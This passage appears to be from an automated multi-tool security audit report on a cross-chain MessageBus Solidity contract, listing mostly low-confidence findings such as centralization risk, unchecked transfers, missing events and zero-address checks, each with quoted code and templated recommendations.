F-085	Front-Running - Hash Puzzle	MEDIUM	44%	1	Open (44% conf.)	6.2
F-086	access_control	MEDIUM	33%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (33% conf.)	
F-087	threat_model	MEDIUM	33%	1	Open (33% conf.)	3.1
F-088	threat_model	MEDIUM	33%	1	Open (33% conf.)	3.1
F-089	threat_model	MEDIUM	33%	1	Open (33% conf.)	3.1
F-090	threat_model	MEDIUM	33%	1	Open (33% conf.)	3.1
F-091	threat_model	MEDIUM	33%	1	Open (33% conf.)	3.1
F-092	threat_model	LOW	33%	1	Open (33% conf.)	3.1
F-093	threat_model	LOW	33%	1	Open (33% conf.)	3.1
F-094	gas_optimization	LOW	33%	1	Open (33% conf.)	3.1
F-095	gas_optimization	LOW	33%	1	Open (33% conf.)	3.1
F-096	gas_optimization	LOW	33%	1	Open (33% conf.)	3.1
F-097	gas_optimization	LOW	33%	1	Open (33% conf.)	3.1
F-098	gas_optimization	LOW	33%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (33% conf.)	
F-099	gas_optimization	LOW	33%	1	Open (33% conf.)	3.1
F-100	gas_optimization	LOW	33%	1	Open (33% conf.)	3.1
F-101	Potential Rug Pull Pattern	MEDIUM	42%	1	Open (42% conf.)	3.1
F-102	High Centralization Risk	MEDIUM	42%	1	Open (42% conf.)	3.1
F-103	Cross-chain callback without source verification	MEDIUM	33%	1	Open (33% conf.)	3.1
F-104	unverified_relay_message	MEDIUM	33%	1	Open (33% conf.)	3.1
F-105	unverified_relay_message	MEDIUM	33%	1	Open (33% conf.)	3.1
F-106	missing_pause_mechanism	MEDIUM	33%	1	Open (33% conf.)	3.1
F-107	access_control	MEDIUM	33%	1	Open (33% conf.)	9.6
F-108	access_control	MEDIUM	33%	1	Open (33% conf.)	9.6
F-109	access_control	MEDIUM	33%	1	Open (33% conf.)	9.6
F-110	access_control	MEDIUM	33%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (33% conf.)	
F-111	access_control	MEDIUM	33%	1	Open (33% conf.)	9.6
F-112	access_control	MEDIUM	33%	1	Open (33% conf.)	9.6
F-113	access_control	MEDIUM	33%	1	Open (33% conf.)	9.6
F-114	No Timelock on withdrawGasFees	MEDIUM	33%	1	Open (33% conf.)	3.1
F-115	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-116	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-117	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-118	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-119	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-120	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-121	reentrancy	MEDIUM	33%	1	Open (33% conf.)	9.6
F-122	unchecked_send	MEDIUM	33%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (33% conf.)	
F-123	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-124	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1
F-125	denial_of_service	MEDIUM	33%	1	Open (33% conf.)	3.1
F-126	arithmetic	MEDIUM	12%	1	Open (12% conf.)	3.1

4.2 Category Distribution

CATEGORY	COUNT	SEVERITY BREAKDOWN
missing_annotation_coverage	13	13 informational
centralization_risk	11	10 low, 1 medium
access_control	11	11 medium
centralization-risk	9	9 low
arithmetic	9	9 medium
threat_model	7	2 low, 5 medium
gas_optimization	7	7 low
postcondition_failure	5	5 medium
missing_event_emission	4	4 low
state-change-without-event	4	4 low
missing_zero_address_check	3	3 low
reentrancy-state-change	3	3 high

CATEGORY	COUNT	SEVERITY BREAKDOWN
state-no-address-check	3	3 low
unused-public-function	3	3 low
unsafe_erc20_transfer	2	2 low
use_of_transfer_instead_of_call	2	2 low
state_invariant_break	2	2 medium
unsafe-erc20-operation	2	2 low
integer_overflow	2	2 medium
reentrancy	2	2 medium
unverified_relay_message	2	2 medium
use_of_block_timestamp	1	1 low
unsafe_casting	1	1 medium
fund_extraction	1	1 low
privilege_escalation_sequence	1	1 medium
precondition_failure	1	1 medium
access_control_violation	1	1 medium
unsafe-casting	1	1 medium
todo	1	1 low
unchecked-return	1	1 low
unspecific-solidity-pragma	1	1 low
timestamp_dependence	1	1 low
ml_detected_vulnerability	1	1 medium
bad_randomness	1	1 medium
front_running	1	1 medium
rug_pull	1	1 medium
insufficient_verification	1	1 medium

CATEGORY	COUNT	SEVERITY BREAKDOWN
missing_pause_mechanism	1	1 medium
timelock	1	1 medium
unchecked_send	1	1 medium
denial_of_service	1	1 medium

4.3 Layer Coverage Analysis

LAYER	TOOLS RUN	PASSED	FAILED	FINDINGS	COVERAGE
Layer 1: Static Analysis	slither, aderyn, solhint, wake, semgrep	4	1	28	 80%
Layer 2: Dynamic Testing	echidna, medusa, foundry, dogefuzz, vertigo, hardhat	6	0	0	 100%
Layer 3: Symbolic Execution	mythril, manticore, halmos, oyente	4	0	0	 100%
Layer 4: Formal Verification	certora, smtchecker, propertygpt, scribble	3	1	22	 75%
Layer 6: AI/LLM Analysis	smartllm, gptscan, llmsmartaudit	3	0	0	 100%
Layer 7: ML Detection	dagann, smartbugs_ml, smartbugs_detector, smartguard	3	1	5	 75%
Layer 8: DeFi Security	mev_detector, defi	2	0	0	 100%
Layer 9: Specialized Analysis	threat_model, gas_analyzer, contract_clone_detector, advanced_detector	4	0	16	 100%

5. Detailed Findings

F-001. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:107
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
102 | *
103 | * By default, the owner account will be the one that deploys the contract.
This
104 | * can later be changed with {transferOwnership}.
105 | *
106 | * This module is used through inheritance. It will make available the
modifier
>> 107 | * `onlyOwner`, which can be applied to your functions to restrict their use
to
108 | * the owner.
109 | */
110 | abstract contract Ownable is Context {
111 |     address private _owner;
112 |
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```
- address private _owner;
+ address[] private _owners;
```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-002. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:132
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
127 |     }
128 |
129 |     /**
130 |      * @dev Throws if called by any account other than the owner.
131 |      */
>> 132 |     modifier onlyOwner() {
133 |         require(owner() == _msgSender(), "Ownable: caller is not the owner");
134 |         _;
135 |     }
136 |
137 |     /**
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```
- address private _owner;
+ address[] private _owners;
```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-003. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:139
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
134 |     _;
```

```
135 | }
```

```
136 |
```

```
137 | /**
```

```
138 |  * @dev Leaves the contract without owner. It will not be possible to call
```

```
>> 139 |  * `onlyOwner` functions anymore. Can only be called by the current owner.
```

```
140 |  *
```

```
141 |  * NOTE: Renouncing ownership will leave the contract without an owner,
```

```
142 |  * thereby removing any functionality that is only available to the owner.
```

```
143 |  */
```

```
144 | function renounceOwnership() public virtual onlyOwner {
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```
- address private _owner;
+ address[] private _owners;
```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-004. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:144
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
139 |      * `onlyOwner` functions anymore. Can only be called by the current owner.
140 |      *
141 |      * NOTE: Renouncing ownership will leave the contract without an owner,
142 |      * thereby removing any functionality that is only available to the owner.
143 |      */
>> 144 |      function renounceOwnership() public virtual onlyOwner {
145 |          _transferOwnership(address(0));
146 |      }
147 |
```

```

148 |      /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-005. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:152
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```

147 |
148 |      /**
149 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
150 |      * Can only be called by the current owner.
151 |      */
>> 152 |      function transferOwnership(address newOwner) public virtual onlyOwner {

```

```

153 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
154 |         _transferOwnership(newOwner);
155 |     }
156 |
157 | /**

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-006. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:245
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```

240 |
241 | /**

```

```

242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-007. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:256
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```

251 |
252 |     /**
253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
>> 256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-008. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:261
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```

256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
>> 261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |         require(_gasFeePricing != address(0), "Cannot set to 0");
263 |         gasFeePricing = _gasFeePricing;
264 |     }
265 | }
266 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-009. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:362
Status	Open (33% conf.)

PROPERTY	VALUE
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-010. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1

PROPERTY	VALUE
Confidence	33%
Location	<code>/home/hero/audit_workspace/MessageBus.flat.sol:366</code>
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Implement multi-sig or timelock for privileged operations

Suggested Fix

```

- address private _owner;
+ address[] private _owners;

```

Remediation Effort: Medium **Estimated Fix Time:** 1-2 hours

References

- SWC-105
- OWASP Smart Contract Top 10

F-011. unsafe_erc20_transfer

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:248
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

ERC20 transfer/transferFrom return value not checked - tokens may silently fail

Vulnerable Code

```

243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
>> 248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }
251 |
252 |      /**
253 |      * @notice Rescues any gas in contract, aside from fees

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Use SafeERC20.safeTransfer() or check return value explicitly

References

- SWC-104
- OWASP Smart Contract Top 10

F-012. unsafe_erc20_transfer

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:258
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

ERC20 transfer/transferFrom return value not checked - tokens may silently fail

Vulnerable Code

```

253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
256 |      function rescueGas(address payable to) external onlyOwner {
257 |          uint256 withdrawAmount = address(this).balance - fees;
>> 258 |          to.transfer(withdrawAmount);
259 |      }
260 |
261 |      function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |          require(_gasFeePricing != address(0), "Cannot set to 0");
263 |          gasFeePricing = _gasFeePricing;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Use SafeERC20.safeTransfer() or check return value explicitly

References

- SWC-104
- OWASP Smart Contract Top 10

F-013. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:42
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
37 |  
38 |     /**  
39 |      * @notice Permissioned method to support upgrades to the library  
40 |      * @param _nodegroup address which has authentication to execute messages  
41 |      */  
>> 42 |     function setNodeGroup(address _nodegroup) external;  
43 | }  
44 |  
45 | // messaging/interfaces/IGasFeePricing.sol  
46 |  
47 | interface IGasFeePricing {
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-014. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:245
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

240 |
241 |     /**
242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |     function withdrawGasFees(address payable to) external onlyOwner {
246 |         uint256 withdrawAmount = fees;
247 |         // Reset fees to 0
248 |         to.transfer(withdrawAmount);
249 |         delete fees;
250 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-015. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:256
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

251 |
252 |  /**
253 |   * @notice Rescues any gas in contract, aside from fees
254 |   * @param to Address to which to rescue gas to
255 |   */
>> 256 |   function rescueGas(address payable to) external onlyOwner {
257 |       uint256 withdrawAmount = address(this).balance - fees;
258 |       to.transfer(withdrawAmount);
259 |   }
260 |
261 |   function updateGasFeePricing(address _gasFeePricing) public onlyOwner {

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-016. use_of_block_timestamp

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:323
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Use of block.timestamp for time-sensitive logic - can be manipulated by miners

Vulnerable Code

```

318 | // enforce that this message ID hasn't already been tried ever
319 | bytes32 messageId = _messageId;
320 | require(executedMessages[messageId] == TxStatus.Null, "Message already
executed");
321 | // Authenticate executeMessage, will revert if not authenticated
322 | IAuthVerifier(authVerifier).msgAuth(abi.encode(msg.sender));
>> 323 | // Message is now in-flight, adjust status
324 | // executedMessages[messageId] = TxStatus.Pending;
325 |
326 | TxStatus status;
327 | try
328 |     ISynMessagingReceiver(_dstAddress).executeMessage{gas: _gasLimit}(

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using block.number or an oracle for time-critical operations

References

- SWC-116
- OWASP Smart Contract Top 10

F-017. unsafe_casting

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:344
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Unsafe downcast may silently truncate values

Vulnerable Code

```

339 |         emit CallReverted(getRevertMsg(reason));
340 |         status = TxStatus.Fail;
341 |     }
342 |
343 |     executedMessages[messageId] = status;
>> 344 |     emit Executed(messageId, status, _dstAddress, uint64(_srcChainId),
uint64(_nonce));
345 | }
346 |
347 | /** HELPER VIEW FUNCTION */
348 | // https://ethereum.stackexchange.com/a/83577
349 | // https://github.com/Uniswap/v3-periphery/blob/v1.0.0/contracts/base/
Multicall.sol

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use SafeCast library from OpenZeppelin

References

- SWC-101
- OWASP Smart Contract Top 10

F-018. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:42
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```
37 |  
38 |     /**  
39 |      * @notice Permissioned method to support upgrades to the library  
40 |      * @param _nodegroup address which has authentication to execute messages  
41 |      */  
>> 42 |     function setNodeGroup(address _nodegroup) external;  
43 | }  
44 |  
45 | // messaging/interfaces/IGasFeePricing.sol  
46 |  
47 | interface IGasFeePricing {
```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Emit events for all state-changing operations

References

- OWASP Smart Contract Top 10

F-019. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:261
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```

256 |     function rescueGas(address payable to) external onlyOwner {
257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
>> 261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |         require(_gasFeePricing != address(0), "Cannot set to 0");
263 |         gasFeePricing = _gasFeePricing;
264 |     }
265 | }
266 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Emit events for all state-changing operations

References

- OWASP Smart Contract Top 10

F-020. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:362
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Emit events for all state-changing operations

References

- OWASP Smart Contract Top 10

F-021. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:366
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Emit events for all state-changing operations

References

- OWASP Smart Contract Top 10

F-022. use_of_transfer_instead_of_call

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:248
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Use of .transfer() or .send() with fixed gas stipend (2300) may fail with EIP-1884

Vulnerable Code

```

243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
>> 248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }
251 |
252 |      /**
253 |      * @notice Rescues any gas in contract, aside from fees

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Use .call{value: amount}("") with reentrancy guard instead

References

- SWC-134
- OWASP Smart Contract Top 10

F-023. use_of_transfer_instead_of_call

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:258
Status	Open (33% conf.)
Detected By	fouranalyzer

Description

Use of .transfer() or .send() with fixed gas stipend (2300) may fail with EIP-1884

Vulnerable Code

```

253 |      * @notice Rescues any gas in contract, aside from fees
254 |      * @param to Address to which to rescue gas to
255 |      */
256 |      function rescueGas(address payable to) external onlyOwner {
257 |          uint256 withdrawAmount = address(this).balance - fees;
>> 258 |          to.transfer(withdrawAmount);
259 |      }
260 |
261 |      function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |          require(_gasFeePricing != address(0), "Cannot set to 0");
263 |          gasFeePricing = _gasFeePricing;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Use .call{value: amount}("") with reentrancy guard instead

References

- SWC-134
- OWASP Smart Contract Top 10

F-024. fund_extraction

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:248
Status	Open (33% conf.)
Detected By	pakala

Description

Funds can be extracted through a multi-step transaction sequence bypassing access controls

Vulnerable Code

```

243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
245 |      function withdrawGasFees(address payable to) external onlyOwner {
246 |          uint256 withdrawAmount = fees;
247 |          // Reset fees to 0
>> 248 |          to.transfer(withdrawAmount);
249 |          delete fees;
250 |      }
251 |
252 |      /**
253 |          * @notice Rescues any gas in contract, aside from fees

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Add withdrawal limits, timelocks, and multi-sig for large transfers

References

- SWC-105
- OWASP Smart Contract Top 10

F-025. privilege_escalation_sequence

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:42
Status	Open (33% conf.)
Detected By	pakala

Description

Privilege can be escalated through a sequence of calls exploiting role transitions

Vulnerable Code

```

37 |
38 |     /**
39 |      * @notice Permissioned method to support upgrades to the library
40 |      * @param _nodegroup address which has authentication to execute messages
41 |      */
>> 42 |     function setNodeGroup(address _nodegroup) external;
43 | }
44 |
45 | // messaging/interfaces/IGasFeePricing.sol
46 |
47 | interface IGasFeePricing {

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Implement role hierarchy with explicit checks at each transition

References

- SWC-105
- OWASP Smart Contract Top 10

F-026. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:69
Status	Open (33% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

64 |
65 |     /**
66 |      * @notice Returns srcGasToken fee to charge in wei for the cross-chain
message based on the gas limit
67 |      * @param _options Versioned struct used to instruct relayer on how to
proceed with gas limits. Contains data on gas limit to submit tx with.
68 |      */
>> 69 |     function estimateGasFee(uint256 _dstChainId, bytes calldata _options)
external returns (uint256);
70 | }
71 |
72 | // messaging/interfaces/ISynMessagingReceiver.sol
73 |
74 | interface ISynMessagingReceiver {

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-027. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:36
Status	Open (33% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

31 |      /**
32 |       * @notice Authentication library to allow the validator network to
execute cross-chain messages.
33 |       * @param _authData A bytes32 address encoded via abi.encode(address)
34 |       * @return authenticated returns true if bytes data submitted and decoded
to the address is correct
35 |       */
>> 36 |       function msgAuth(bytes calldata _authData) external view returns (bool
authenticated);
37 |
38 |      /**
